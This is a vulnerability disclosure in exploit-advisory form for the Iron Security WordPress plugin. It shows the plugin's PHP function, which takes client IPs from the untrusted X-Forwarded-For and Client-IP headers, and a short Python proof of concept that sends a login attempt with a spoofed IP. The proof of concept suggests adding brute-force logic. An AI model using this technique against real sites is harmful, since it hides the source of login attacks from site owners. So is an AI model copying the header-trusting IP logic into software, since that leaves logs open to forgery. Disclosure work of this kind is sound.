# Wordpress Plugin Iron Security - IP Spoofing
# Exploit Author: bRpsd | cy[at]live.no
# Date: March 20, 2025
# Product: https://wordpress.org/plugins/iron-security/
# Version: 2.2.3 and below
# CVE : N/A

Summary:
Iron Security is the ultimate WordPress security plugin built to secure and harden your website with essential protection features. Whether you’re a blogger, business owner, or developer, Iron Security helps keep your site safe from attacks and unauthorized access. with a user-friendly interface and effective tools like custom login URL, HTTP security headers, Iron Security is the all-in-one solution for WordPress security.


The script logs successful/fail attempts of logins along with other actions made by users into a log table in database, within the logged data is the IP. However it uses a weak logic of grabbing IP making it easier to evade and not detect the original IP but rather a spoofed one.

PHP function logic:
==========================================================================================
private static function get_client_ip() {
    $ip = '0.0.0.0';
    
    // Check for shared internet/ISP IP
    if (!empty($_SERVER['HTTP_CLIENT_IP']) && self::validate_ip($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    // Check for IPs passing through proxies
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Check if multiple IPs
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        foreach ($ips as $ip_address) {
            $ip_address = trim($ip_address);
            if (self::validate_ip($ip_address)) {
                $ip = $ip_address;
                break;
            }
        }
    }
    // Check for the remote address
    elseif (!empty($_SERVER['REMOTE_ADDR']) && self::validate_ip($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    
    return $ip;
}
==========================================================================================


Risk:
The plugin retrieves client IP addresses from potentially untrusted headers such as X-Forwarded-For & Client-IP, allowing an attacker to manipulate its value. This may be used to hide the source of malicious traffic. Below is a simple example of a python code that does a failed login attempt with a spoofed IP that will get logged in database & system due to insufficient IP address validation and use of user-supplied HTTP headers as a primary method for IP retrieval.




=======
POC
=======

import requests

# Target URL for login [can be other functions that get logged as well]
url = "http://localhost/wordpress/wp-login.php"

# Spoofed IP address
spoofed_ip = "1.1.1.1"

# In this example we used a failed login, in a real scenario a brute force logic can be here
username = "test"
password = "test"

# Headers with spoofed IP
headers = {
    "User-Agent": "Mozilla/5.0",
    "X-Forwarded-For": spoofed_ip,
    "Client-IP": spoofed_ip
}

# Login data
data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
    "redirect_to": "/wp-admin/",
    "testcookie": "1"
}

# Send the login request
response = requests.post(url, headers=headers, data=data)

# Check the response
print("Status Code:", response.status_code)